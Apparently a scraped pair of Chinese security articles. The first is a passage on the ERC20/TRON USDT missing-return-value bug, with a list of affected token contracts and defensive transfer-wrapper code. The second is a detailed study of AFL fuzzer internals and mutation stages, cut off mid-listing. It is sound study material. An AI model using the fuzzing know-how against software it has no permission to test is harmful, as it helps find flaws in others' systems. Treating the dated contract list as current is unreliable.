完全巧合的是，因为调用方期望返回值的内存槽与存储调用的函数选择器的内存槽重叠，这被EVM解释为返回值“真”。因此，完全是运气使然，EVM的表现就像程序员们希望它的表现一样。
自从去年10月拜占庭硬叉以来，EVM有了一个新的操作码，叫做`returndatasize`，这个操作码存储(顾名思义)外部调用返回数据的大小，这是一个非常有用的操作码，因为它允许在函数调用中返回动态大小的数组。
这个操作码在solidity
0.4.22更新中被采用，现在，代码在外部调用后检查返回值的大小，并在返回数据比预期的短的情况下revert事务，这比从某个内存插槽中读取数据安全得多，但是这种新的行为对于我们的BadToken来说是一个巨大的问题。
如上所述，最大的风险是用solc ≥
0.4.22编译的智能合约(预期为ERC0接口)将无法与我们的Badtokens交互，这可能意味着发送到这样的合约的Token将永远停留在那里，即使该合约具有转移ERC
20 Token的功能。
类似问题的合约：
{'addr': '0xae616e72d3d89e847f74e8ace41ca68bbf56af79', 'name': 'GOOD', 'decimals': 6}
{'addr': '0x93e682107d1e9defb0b5ee701c71707a4b2e46bc', 'name': 'MCAP', 'decimals': 8}
{'addr': '0xb97048628db6b661d4c2aa833e95dbe1a905b280', 'name': 'PAY', 'decimals': 18}
{'addr': '0x4470bb87d77b963a013db939be332f927f2b992e', 'name': 'ADX', 'decimals': 4}
{'addr': '0xd26114cd6ee289accf82350c8d8487fedb8a0c07', 'name': 'OMG', 'decimals': 18}
{'addr': '0xb8c77482e45f1f44de1745f52c74426c631bdd52', 'name': 'BNB', 'decimals': 18}
{'addr': '0xf433089366899d83a9f26a773d59ec7ecf30355e', 'name': 'MTL', 'decimals': 8}
{'addr': '0xc63e7b1dece63a77ed7e4aeef5efb3b05c81438d', 'name': 'FUCKOLD', 'decimals': 4}
{'addr': '0xab16e0d25c06cb376259cc18c1de4aca57605589', 'name': 'FUCK', 'decimals': 4}
{'addr': '0xe3818504c1b32bf1557b16c238b2e01fd3149c17', 'name': 'PLR', 'decimals': 18}
{'addr': '0xe2e6d4be086c6938b53b22144855eef674281639', 'name': 'LNK', 'decimals': 18}
{'addr': '0x2bdc0d42996017fce214b21607a515da41a9e0c5', 'name': 'SKIN', 'decimals': 6}
{'addr': '0xea1f346faf023f974eb5adaf088bbcdf02d761f4', 'name': 'TIX', 'decimals': 18}
{'addr': '0x177d39ac676ed1c67a2b268ad7f1e58826e5b0af', 'name': 'CDT', 'decimals': 18}
有两种方法可以修复这个错误：
第一种：受影响的Token合约开放团队需要修改他们的合约，这可以通过重新部署Token合约或者更新合约来完成(如果有合约更新逻辑设计)。
第二种：重新包装Bad Transfer函数，对于这种包装有不同的建议，例如：
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
// note: both of these could be replaced with manual mstore's to reduce cost if desired
bytes memory msg = abi.encodeWithSignature("transfer(address,uint256)", _to, _value);
uint msgSize = msg.length;
assembly {
// pre-set scratch space to all bits set
mstore(0x00, 0xff)
// note: this requires tangerine whistle compatible EVM
if iszero(call(gas(), _tokenAddress, 0, add(msg, 0x20), msgSize, 0x00, 0x20)) { revert(0, 0) }
switch mload(0x00)
case 0xff {
// token is not fully ERC20 compatible, didn't return anything, assume it was successful
success := 1
}
case 0x01 {
success := 1
}
case 0x00 {
success := 0
}
default {
// unexpected value, what could this be?
revert(0, 0)
}
}
}
}
interface ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
}
contract TestERC20SafeTransfer {
using ERC20SafeTransfer for ERC20;
function ping(address _token, address _to, uint _amount) {
require(ERC20(_token).safeTransfer(_to, _amount));
}
}
另一方面，正在编写ERC 20合约的开发人员需要意识到这个错误，这样他们就可以预料到BadToken的意外行为并处理它们，这可以通过预期BadER
20接口并在调用后检查返回数据来确定我们调用的是Godtoken还是BadToken来实现：
pragma solidity ^0.4.24;
/*
* WARNING: Proof of concept. Do not use in production. No warranty.
*/
interface BadERC20 {
function transfer(address to, uint value) external;
}
contract BadERC20Aware {
function safeTransfer(address token, address to , uint value) public returns (bool result) {
BadERC20(token).transfer(to,value);
assembly {
switch returndatasize()
case 0 { // This is our BadToken
result := not(0) // result is true
}
case 32 { // This is our GoodToken
returndatacopy(0, 0, 32)
result := mload(0) // result == returndata of external call
}
default { // This is not an ERC20 token
revert(0, 0)
}
}
require(result); // revert() if result is false
}
}
### 事件总结
造成本次事件的主要原因还是在于波场USDT的transfer函数未使用TIP20规范的写法导致函数在执行时未返回对应的值，最终返回默认的false，从而导致在使用safeTransfer调用USDT的transfer时永远都只返回false，导致用户无法提现。
所以，在波场部署有关USDT的合约，需要注意额外针对USDT合约进行适配，上线前务必做好充足的审计与测试，尽可能减少意外事件的发生
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
### 参考链接
[1] Missing-Return-Value-Bug
<https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca>
* * * | 社区文章 |
作者：[rk700](https://rk700.github.io/)
## Part 1：AFL内部实现细节小记
AFL(American Fuzzy Lop)是一款开源的fuzzing工具。最近我对其代码进行了简要的阅读，大致总结了一些AFL的实现细节，在此记录整理。
#### 代码插桩
使用AFL，首先需要通过afl-gcc/afl-clang等工具来编译目标，在这个过程中会对其进行插桩。
我们以afl-gcc为例。如果阅读文件afl-gcc.c便可以发现，其本质上只是一个gcc的wrapper。我们不妨添加一些输出，从而在调用`execvp()`之前打印全部命令行参数，看看afl-gcc所执行的究竟是什么：
gcc /tmp/hello.c -B /root/src/afl-2.52b -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1
可以看到，`afl-gcc`最终调用`gcc`，并定义了一些宏，设置了一些参数。其中最关键的就是`-B
/root/src/afl-2.52b`这条。根据`gcc
--help`可知，`-B`选项用于设置编译器的搜索路径，这里便是设置成`/root/src/afl-2.52b`(是我设置的环境变量`AFL_PATH`的值，即AFL目录，因为我没有make
install)。
如果了解编译过程，那么就知道把源代码编译成二进制，主要是经过”源代码”->”汇编代码”->”二进制”这样的过程。而将汇编代码编译成为二进制的工具，即为汇编器assembler。Linux系统下的常用汇编器是`as`。不过，编译完成AFL后，在其目录下也会存在一个`as`文件，并作为符号链接指向`afl-as`。所以，如果通过`-B`选项为gcc设置了搜索路径，那么`afl-as`便会作为汇编器，执行实际的汇编操作。
所以，AFL的代码插桩，就是在将源文件编译为汇编代码后，通过`afl-as`完成。
接下来，我们继续阅读文件afl-as.c。其大致逻辑是处理汇编代码，在分支处插入桩代码，并最终再调用`as`进行真正的汇编。具体插入代码的部分如下：
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));
这里通过`fprintf()`将格式化字符串添加到汇编文件的相应位置。篇幅所限，我们只分析32位的情况，`trampoline_fmt_32`的具体内容如下：
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n"
"movl %%edi, 0(%%esp)\n"
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n"
"call __afl_maybe_log\n"
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";
这一段汇编代码，主要的操作是：
* 保存`edi`等寄存器
* 将`ecx`的值设置为`fprintf()`所要打印的变量内容
* 调用方法`__afl_maybe_log()`
* 恢复寄存器
`__afl_maybe_log`作为插桩代码所执行的实际内容，会在接下来详细展开，这里我们只分析`"movl $0x%08x,
%%ecx\n"`这条指令。
回到`fprintf()`命令：
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));
可知`R(MAP_SIZE)`即为上述指令将`ecx`设置的值，即为。根据定义，宏`MAP_SIZE`为64K，我们在下文中还会看到他；`R(x)`的定义是`(random()
% (x))`，所以`R(MAP_SIZE)`即为0到MAP_SIZE之间的一个随机数。
因此，在处理到某个分支，需要插入桩代码时，`afl-as`会生成一个随机数，作为运行时保存在`ecx`中的值。而这个随机数，便是用于标识这个代码块的key。在后面我们会详细介绍这个key是如何被使用的。
#### fork server
编译target完成后，就可以通过`afl-fuzz`开始fuzzing了。其大致思路是，对输入的seed文件不断地变化，并将这些mutated
input喂给target执行，检查是否会造成崩溃。因此，fuzzing涉及到大量的fork和执行target的过程。
为了更高效地进行上述过程，AFL实现了一套fork server机制。其基本思路是：启动target进程后，target会运行一个fork
server；fuzzer并不负责fork子进程，而是与这个fork server通信，并由fork
server来完成fork及继续执行目标的操作。这样设计的最大好处，就是不需要调用`execve()`，从而节省了载入目标文件和库、解析符号地址等重复性工作。如果熟悉Android的话，可以将fork
server类比为zygote。
接下来，我们来看看fork
server的具体运行原理。首先，fuzzer执行`fork()`得到父进程和子进程，这里的父进程仍然为fuzzer，子进程则为target进程，即将来的fork
server。
forksrv_pid = fork();
而父子进程之间，是通过管道进行通信。具体使用了2个管道，一个用于传递状态，另一个用于传递命令：
int st_pipe[2], ctl_pipe[2];
对于子进程（fork server），会进行一系列设置，其中包括将上述两个管道分配到预先指定的fd，并最终执行target：
if (!forksrv_pid) {
...
if (dup2(ctl_pipe[0], FORKSRV_FD) < 0) PFATAL("dup2() failed");
if (dup2(st_pipe[1], FORKSRV_FD + 1) < 0) PFATAL("dup2() failed");
...
execv(target_path, argv);
对于父进程（fuzzer），则会读取状态管道的信息，如果一切正常，则说明fork server创建完成。
fsrv_st_fd = st_pipe[0];
...
rlen = read(fsrv_st_fd, &status, 4);
...
/* If we have a four-byte "hello" message from the server, we're all set.
Otherwise, try to figure out what went wrong. */
if (rlen == 4) {
OKF("All right - fork server is up.");
return;
}
接下来，我们来分析fork server是如何与fuzzer通信的。
fork server侧的具体操作，也是在之前提到的方法`__afl_maybe_log()`中。首先，通过写入状态管道，fork
server会通知fuzzer，其已经准备完毕，可以开始fork了，而这正是上面提到的父进程等待的信息：
"__afl_forkserver:\n"
"\n"
" /* Enter the fork server mode to avoid the overhead of execve() calls. */\n"
"\n"
" pushl %eax\n"
" pushl %ecx\n"
" pushl %edx\n"
"\n"
" /* Phone home and tell the parent that we're OK. (Note that signals with\n"
" no SA_RESTART will mess it up). If this fails, assume that the fd is\n"
" closed because we were execve()d from an instrumented binary, or because\n"
" the parent doesn't want to use the fork server. */\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
"\n"
" cmpl $4, %eax\n"
" jne __afl_fork_resume\n"
接下来，fork server进入等待状态`__afl_fork_wait_loop`，读取命令管道，直到fuzzer通知其开始fork：
"__afl_fork_wait_loop:\n"
"\n"
" /* Wait for parent by reading from the pipe. Abort if read fails. */\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */\n"
" call read\n"
一旦fork server接收到fuzzer的信息，便调用`fork()`，得到父进程和子进程：
" call fork\n"
"\n"
" cmpl $0, %eax\n"
" jl __afl_die\n"
" je __afl_fork_resume\n"
子进程是实际执行target的进程，其跳转到`__afl_fork_resume`。在这里会关闭不再需要的管道，并继续执行：
"__afl_fork_resume:\n"
"\n"
" /* In child process: close fds, resume execution. */\n"
"\n"
" pushl $" STRINGIFY(FORKSRV_FD) "\n"
" call close\n"
"\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) "\n"
" call close\n"
"\n"
" addl $8, %esp\n"
"\n"
" popl %edx\n"
" popl %ecx\n"
" popl %eax\n"
" jmp __afl_store\n"
父进程则仍然作为fork
server运行，其会将子进程的pid通过状态管道发送给fuzzer，并等待子进程执行完毕；一旦子进程执行完毕，则再通过状态管道，将其结束状态发送给fuzzer；之后再次进入等待状态`__afl_fork_wait_loop`：
" /* In parent process: write PID to pipe, then wait for child. */\n"
"\n"
" movl %eax, __afl_fork_pid\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_fork_pid /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
"\n"
" pushl $0 /* no flags */\n"
" pushl $__afl_temp /* status */\n"
" pushl __afl_fork_pid /* PID */\n"
" call waitpid\n"
" addl $12, %esp\n"
"\n"
" cmpl $0, %eax\n"
" jle __afl_die\n"
"\n"
" /* Relay wait status to pipe, then loop back. */\n"
"\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
"\n"
" jmp __afl_fork_wait_loop\n"
以上就是fork server的主要逻辑，现在我们再回到fuzzer侧。在fork
server启动完成后，一旦需要执行某个测试用例，则fuzzer会调用`run_target()`方法。在此方法中，便是通过命令管道，通知fork
server准备fork；并通过状态管道，获取子进程pid：
s32 res;
/* In non-dumb mode, we have the fork server up and running, so simply
tell it to have at it, and then read back PID. */
if ((res = write(fsrv_ctl_fd, &prev_timed_out, 4)) != 4) {
...
if ((res = read(fsrv_st_fd, &child_pid, 4)) != 4) {
...
随后，fuzzer再次读取状态管道，获取子进程退出状态，并由此来判断子进程结束的原因，例如正常退出、超时、崩溃等，并进行相应的记录。
if ((res = read(fsrv_st_fd, &status, 4)) != 4) {
...
/* Report outcome to caller. */
if (WIFSIGNALED(status) && !stop_soon) {
kill_signal = WTERMSIG(status);
if (child_timed_out && kill_signal == SIGKILL) return FAULT_TMOUT;
return FAULT_CRASH;
}
#### 共享内存
作为fuzzer，AFL并不是像无头苍蝇那样对输入文件无脑地随机变化（其实也支持这种方式，即dumb模式），其最大特点就是会对target进行插桩，以辅助mutated
input的生成。具体地，插桩后的target，会记录执行过程中的分支信息；随后，fuzzer便可以根据这些信息，判断这次执行的整体流程和代码覆盖情况。
AFL使用共享内存，来完成以上信息在fuzzer和target之间的传递。具体地，fuzzer在启动时，会执行`setup_shm()`方法进行配置。其首先调用`shemget()`分配一块共享内存，大小`MAP_SIZE`为64K:
shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);
分配成功后，该共享内存的标志符会被设置到环境变量中，从而之后fork()得到的子进程可以通过该环境变量，得到这块共享内存的标志符：
shm_str = alloc_printf("%d", shm_id);
if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1);
并且，fuzzer本身，会使用变量`trace_bits`来保存共享内存的地址：
trace_bits = shmat(shm_id, NULL, 0);
在每次target执行之前，fuzzer首先将该共享内容清零：
memset(trace_bits, 0, MAP_SIZE);
接下来，我们再来看看target是如何获取并使用这块共享内存的。相关代码同样也在上面提到的方法`__afl_maybe_log()`中。首先，会检查是否已经将共享内存映射完成：
" /* Check if SHM region is already mapped. */\n"
"\n"
" movl __afl_area_ptr, %edx\n"
" testl %edx, %edx\n"
" je __afl_setup\n"
`__afl_area_ptr`中保存的就是共享内存映射到target的内存空间中的地址，如果其不是NULL，便保存在ebx中继续执行；否则进一步跳转到`__afl_setup`。
`__afl_setup`处会做一些错误检查，然后获取环境变量`AFL_SHM_ENV`的内容并将其转为整型。查看其定义便可知，这里获取到的，便是之前fuzzer保存的共享内存的标志符。
"__afl_setup:\n"
"\n"
" /* Do not retry setup if we had previous failures. */\n"
"\n"
" cmpb $0, __afl_setup_failure\n"
" jne __afl_return\n"
"\n"
" /* Map SHM, jumping to __afl_setup_abort if something goes wrong.\n"
" We do not save FPU/MMX/SSE registers here, but hopefully, nobody\n"
" will notice this early in the game. */\n"
"\n"
" pushl %eax\n"
" pushl %ecx\n"
"\n"
" pushl $.AFL_SHM_ENV\n"
" call getenv\n"
" addl $4, %esp\n"
"\n"
" testl %eax, %eax\n"
" je __afl_setup_abort\n"
"\n"
" pushl %eax\n"
" call atoi\n"
" addl $4, %esp\n"
最后，通过调用`shmat()`，target将这块共享内存也映射到了自己的内存空间中，并将其地址保存在`__afl_area_ptr`及`edx`中。由此，便完成了fuzzer与target之间共享内存的设置。
" pushl $0 /* shmat flags */\n"
" pushl $0 /* requested addr */\n"
" pushl %eax /* SHM ID */\n"
" call shmat\n"
" addl $12, %esp\n"
"\n"
" cmpl $-1, %eax\n"
" je __afl_setup_abort\n"
"\n"
" /* Store the address of the SHM region. */\n"
"\n"
" movl %eax, __afl_area_ptr\n"
" movl %eax, %edx\n"
"\n"
" popl %ecx\n"
" popl %eax\n"
注记：如果使用了fork server模式，那么上述获取共享内存的操作，是在fork
server中进行；随后fork出来的子进程，只需直接使用这个共享内存即可。
#### 分支信息的记录
现在，用于通信的共享内存已准备完毕，接下来我们看看具体通信的是什么。
由官网文档可知，AFL是根据二元tuple(跳转的源地址和目标地址)来记录分支信息，从而获取target的执行流程和代码覆盖情况，其伪代码如下：
cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
我们再回到方法`__afl_maybe_log()`中。上面提到，在target完成准备工作后，共享内存的地址被保存在寄存器`edx`中。随后执行以下代码：
"__afl_store:\n"
"\n"
" /* Calculate and store hit for the code location specified in ecx. There\n"
" is a double-XOR way of doing this without tainting another register,\n"
" and we use it on 64-bit systems; but it's slower for 32-bit ones. */\n"
"\n"
#ifndef COVERAGE_ONLY
" movl __afl_prev_loc, %edi\n"
" xorl %ecx, %edi\n"
" shrl $1, %ecx\n"
" movl %ecx, __afl_prev_loc\n"
#else
" movl %ecx, %edi\n"
#endif /* ^!COVERAGE_ONLY */
"\n"
#ifdef SKIP_COUNTS
" orb $1, (%edx, %edi, 1)\n"
#else
" incb (%edx, %edi, 1)\n"
这里对应的便正是文档中的伪代码。具体地，变量`__afl_prev_loc`保存的是前一次跳转的”位置”，其值与`ecx`做异或后，保存在`edi`中，并以`edx`（共享内存）为基址，对`edi`下标处进行加一操作。而`ecx`的值右移1位后，保存在了变量`__afl_prev_loc`中。
那么，这里的`ecx`，保存的应该就是伪代码中的`cur_location`了。回忆之前介绍代码插桩的部分：
static const u8* trampoline_fmt_32 =
...
"movl $0x%08x, %%ecx\n"
"call __afl_maybe_log\n"
在每个插桩处，afl-as会添加相应指令，将`ecx`的值设为0到MAP_SIZE之间的某个随机数，从而实现了伪代码中的`cur_location =
<COMPILE_TIME_RANDOM>;`。
因此，AFL为每个代码块生成一个随机数，作为其“位置”的记录；随后，对分支处的”源位置“和”目标位置“进行异或，并将异或的结果作为该分支的key，保存每个分支的执行次数。用于保存执行次数的实际上是一个哈希表，大小为`MAP_SIZE=64K`，当然会存在碰撞的问题；但根据AFL文档中的介绍，对于不是很复杂的目标，碰撞概率还是可以接受的：
Branch cnt | Colliding tuples | Example targets
------------+------------------+----------------- 1,000 | 0.75% | giflib, lzo
2,000 | 1.5% | zlib, tar, xz
5,000 | 3.5% | libpng, libwebp
10,000 | 7% | libxml
20,000 | 14% | sqlite
50,000 | 30% | -
如果一个目标过于复杂，那么AFL状态面板中的map_density信息就会有相应的提示：
┬─ map coverage ─┴───────────────────────┤
│ map density : 3.61% / 14.13% │
│ count coverage : 6.35 bits/tuple │
┼─ findings in depth ────────────────────┤
这里的map
density，就是这张哈希表的密度。可以看到，上面示例中，该次执行的哈希表密度仅为3.61%，即整个哈希表差不多有95%的地方还是空的，所以碰撞的概率很小。不过，如果目标很复杂，map
density很大，那么就需要考虑到碰撞的影响了。此种情况下的具体处理方式可见官方文档。
另外，比较有意思的是，AFL需要将`cur_location`右移1位后，再保存到`prev_location`中。官方文档中解释了这样做的原因。假设target中存在`A->A`和`B->B`这样两个跳转，如果不右移，那么这两个分支对应的异或后的key都是0，从而无法区分；另一个例子是`A->B`和`B->A`，如果不右移，这两个分支对应的异或后的key也是相同的。
由上述分析可知，之前提到的共享内存，被用于保存一张哈希表，target在这张表中记录每个分支的执行数量。随后，当target执行结束后，fuzzer便开始对这张表进行分析，从而判断代码的执行情况。
#### 分支信息的分析
首先，fuzzer对`trace_bits`（共享内存）进行预处理：
classify_counts((u32*)trace_bits);
具体地，target是将每个分支的执行次数用1个byte来储存，而fuzzer则进一步把这个执行次数归入以下的buckets中：
static const u8 count_class_lookup8[256] = {
[0] = 0,
[1] = 1,
[2] = 2,
[3] = 4,
[4 ... 7] = 8,
[8 ... 15] = 16,
[16 ... 31] = 32,
[32 ... 127] = 64,
[128 ... 255] = 128
};
举个例子，如果某分支执行了1次，那么落入第2个bucket，其计数byte仍为1；如果某分支执行了4次，那么落入第5个bucket，其计数byte将变为8，等等。
这样处理之后，对分支执行次数就会有一个简单的归类。例如，如果对某个测试用例处理时，分支A执行了32次；对另外一个测试用例，分支A执行了33次，那么AFL就会认为这两次的代码覆盖是相同的。当然，这样的简单分类肯定不能区分所有的情况，不过在某种程度上，处理了一些因为循环次数的微小区别，而误判为不同执行结果的情况。
随后，对于某些mutated
input来说，如果这次执行没有出现崩溃等异常输出，fuzzer还会检查其是否新增了执行路径。具体来说，是对`trace_bits`计算hash并来实现：
u32 cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);
通过比较hash值，就可以判断trace_bits是否发生了变化，从而判断此次mutated
input是否带来了新路径，为之后的fuzzing提供参考信息。
#### 总结
以上便是对AFL内部细节的一些分析整理，其实还有很多地方值得进一步深入去研究，例如AFL是如何判断一条路径是否是favorite的、如何对seed文件进行变化，等等。如果只是使用AFL进行简单的fuzzing，那么这些细节其实不需要掌握太多；但是如果需要在AFL的基础上进一步针对特定目标进行优化，那么了解AFL的内部工作原理就是必须的了。
## Part 2：AFL文件变异一览
[上一部分](https://rk700.github.io/2017/12/28/afl-internals/)主要对AFL的一些实现细节进行了分析，但正如最后所说，还有很多细节讲到。所以我又另外写了这篇，专门介绍AFL是如何对输入文件进行变异的。
总的来讲，AFL维护了一个队列(queue)，每次从这个队列中取出一个文件，对其进行大量变异，并检查运行后是否会引起目标崩溃、发现新路径等结果。变异的主要类型如下：
* bitflip，按位翻转，1变为0，0变为1
* arithmetic，整数加/减算术运算
* interest，把一些特殊内容替换到原文件中
* dictionary，把自动生成或用户提供的token替换/插入到原文件中
* havoc，中文意思是“大破坏”，此阶段会对原文件进行大量变异，具体见下文
* splice，中文意思是“绞接”，此阶段会将两个文件拼接起来得到一个新的文件
其中，前四项bitflip, arithmetic, interest, dictionary是非dumb
mode（`-d`）和主fuzzer（`-M`）会进行的操作，由于其变异方式没有随机性，所以也称为deterministic
fuzzing；havoc和splice则存在随机性，是所有状况的fuzzer（是否dumb mode、主从fuzzer）都会执行的变异。
以下将对这些变异类型进行具体介绍。
#### bitflip
拿到一个原始文件，打头阵的就是bitflip，而且还会根据翻转量/步长进行多种不同的翻转，按照顺序依次为：
* bitflip 1/1，每次翻转 **1** 个bit，按照每 **1** 个bit的步长从头开始
* bitflip 2/1，每次翻转相邻的 **2** 个bit，按照每 **1** 个bit的步长从头开始
* bitflip 4/1，每次翻转相邻的 **4** 个bit，按照每 **1** 个bit的步长从头开始
* bitflip 8/8，每次翻转相邻的 **8** 个bit，按照每 **8** 个bit的步长从头开始，即依次对每个byte做翻转
* bitflip 16/8，每次翻转相邻的 **16** 个bit，按照每 **8** 个bit的步长从头开始，即依次对每个word做翻转
* bitflip 32/8，每次翻转相邻的 **32** 个bit，按照每 **8** 个bit的步长从头开始，即依次对每个dword做翻转
作为精妙构思的fuzzer，AFL不会放过每一个获取文件信息的机会。这一点在bitflip过程中就体现的淋漓尽致。具体地，在上述过程中，AFL巧妙地嵌入了一些对文件格式的启发式判断。
###### 自动检测token
在进行bitflip 1/1变异时，对于每个byte的最低位(least significant
bit)翻转还进行了额外的处理：如果连续多个bytes的最低位被翻转后，程序的执行路径都未变化，而且与原始执行路径不一致(检测程序执行路径的方式可见上篇文章中[“分支信息的分析”](https://rk700.github.io/2017/12/28/afl-internals/#%E5%88%86%E6%94%AF%E4%BF%A1%E6%81%AF%E7%9A%84%E5%88%86%E6%9E%90)一节)，那么就把这一段连续的bytes判断是一条token。
例如，PNG文件中用`IHDR`作为起始块的标识，那么就会存在类似于以下的内容：
........IHDR........
当翻转到字符`I`的最高位时，因为`IHDR`被破坏，此时程序的执行路径肯定与处理正常文件的路径是不同的；随后，在翻转接下来3个字符的最高位时，`IHDR`标识同样被破坏，程序应该会采取同样的执行路径。由此，AFL就判断得到一个可能的token：`IHDR`，并将其记录下来为后面的变异提供备选。
AFL采取的这种方式是非常巧妙的：就本质而言，这实际上是对每个byte进行修改并检查执行路径；但集成到bitflip后，就不需要再浪费额外的执行资源了。此外，为了控制这样自动生成的token的大小和数量，AFL还在`config.h`中通过宏定义了限制：
/* Length limits for auto-detected dictionary tokens: */
#define MIN_AUTO_EXTRA 3
#define MAX_AUTO_EXTRA 32
/* Maximum number of auto-extracted dictionary tokens to actually use in fuzzing
(first value), and to keep in memory as candidates. The latter should be much
higher than the former. */
#define USE_AUTO_EXTRAS 10
#define MAX_AUTO_EXTRAS (USE_AUTO_EXTRAS * 10)
对于一些文件来说，我们已知其格式中出现的token长度不会超过4，那么我们就可以修改`MAX_AUTO_EXTRA`为4并重新编译AFL，以排除一些明显不会是token的情况。遗憾的是，这些设置是通过宏定义来实现，所以不能做到运行时指定，每次修改后必须重新编译AFL。
###### 生成effector map
在进行bitflip 8/8变异时，AFL还生成了一个非常重要的信息：effector map。这个effector
map几乎贯穿了整个deterministic fuzzing的始终。
具体地，在对每个byte进行翻转时，如果其造成执行路径与原始路径不一致，就将该byte在effector
map中标记为1，即“有效”的，否则标记为0，即“无效”的。
这样做的逻辑是：如果一个byte完全翻转，都无法带来执行路径的变化，那么这个byte很有可能是属于"data"，而非"metadata"（例如size,
flag等），对整个fuzzing的意义不大。所以，在随后的一些变异中，会参考effector map，跳过那些“无效”的byte，从而节省了执行资源。
由此，通过极小的开销（没有增加额外的执行次数），AFL又一次对文件格式进行了启发式的判断。看到这里，不得不叹服于AFL实现上的精妙。
不过，在某些情况下并不会检测有效字符。第一种情况就是dumb mode或者从fuzzer，此时文件所有的字符都有可能被变异。第二、第三种情况与文件本身有关：
/* Minimum input file length at which the effector logic kicks in: */
#define EFF_MIN_LEN 128
/* Maximum effector density past which everything is just fuzzed
unconditionally (%): */
#define EFF_MAX_PERC 90
即默认情况下，如果文件小于128
bytes，那么所有字符都是“有效”的；同样地，如果AFL发现一个文件有超过90%的bytes都是“有效”的，那么也不差那10%了，大笔一挥，干脆把所有字符都划归为“有效”。
#### arithmetic
在bitflip变异全部进行完成后，便进入下一个阶段：arithmetic。与bitflip类似的是，arithmetic根据目标大小的不同，也分为了多个子阶段：
* arith 8/8，每次对 **8** 个bit进行加减运算，按照每 **8** 个bit的步长从头开始，即对文件的每个byte进行整数加减变异
* arith 16/8，每次对 **16** 个bit进行加减运算，按照每 **8** 个bit的步长从头开始，即对文件的每个word进行整数加减变异
* arith 32/8，每次对 **32** 个bit进行加减运算，按照每 **8** 个bit的步长从头开始，即对文件的每个dword进行整数加减变异
加减变异的上限，在`config.h`中的宏`ARITH_MAX`定义，默认为35。所以，对目标整数会进行+1, +2, ..., +35, -1, -2,
..., -35的变异。特别地，由于整数存在大端序和小端序两种表示方式，AFL会贴心地对这两种整数表示方式都进行变异。
此外，AFL还会智能地跳过某些arithmetic变异。第一种情况就是前面提到的effector
map：如果一个整数的所有bytes都被判断为“无效”，那么就跳过对整数的变异。第二种情况是之前bitflip已经生成过的变异：如果加/减某个数后，其效果与之前的某种bitflip相同，那么这次变异肯定在上一个阶段已经执行过了，此次便不会再执行。
#### interest
下一个阶段是interest，具体可分为：
* interest 8/8，每次对 **8** 个bit进替换，按照每 **8** 个bit的步长从头开始，即对文件的每个byte进行替换
* interest 16/8，每次对 **16** 个bit进替换，按照每 **8** 个bit的步长从头开始，即对文件的每个word进行替换
* interest 32/8，每次对 **32** 个bit进替换，按照每 **8** 个bit的步长从头开始，即对文件的每个dword进行替换
而用于替换的"interesting values"，是AFL预设的一些比较特殊的数：
static s8 interesting_8[] = { INTERESTING_8 };
static s16 interesting_16[] = { INTERESTING_8, INTERESTING_16 };
static s32 interesting_32[] = { INTERESTING_8, INTERESTING_16, INTERESTING_32 };
这些数的定义在`config.h`文件中：
/* List of interesting values to use in fuzzing. */
#define INTERESTING_8 \
-128, /* Overflow signed 8-bit when decremented */ \
-1, /* */ \
0, /* */ \
1, /* */ \
16, /* One-off with common buffer size */ \
32, /* One-off with common buffer size */ \
64, /* One-off with common buffer size */ \
100, /* One-off with common buffer size */ \
127 /* Overflow signed 8-bit when incremented */
#define INTERESTING_16 \
-32768, /* Overflow signed 16-bit when decremented */ \
-129, /* Overflow signed 8-bit */ \
128, /* Overflow signed 8-bit */ \
255, /* Overflow unsig 8-bit when incremented */ \
256, /* Overflow unsig 8-bit */ \
512, /* One-off with common buffer size */ \
1000, /* One-off with common buffer size */ \
1024, /* One-off with common buffer size */ \
4096, /* One-off with common buffer size */ \
32767 /* Overflow signed 16-bit when incremented */
#define INTERESTING_32 \
-2147483648LL, /* Overflow signed 32-bit when decremented */ \
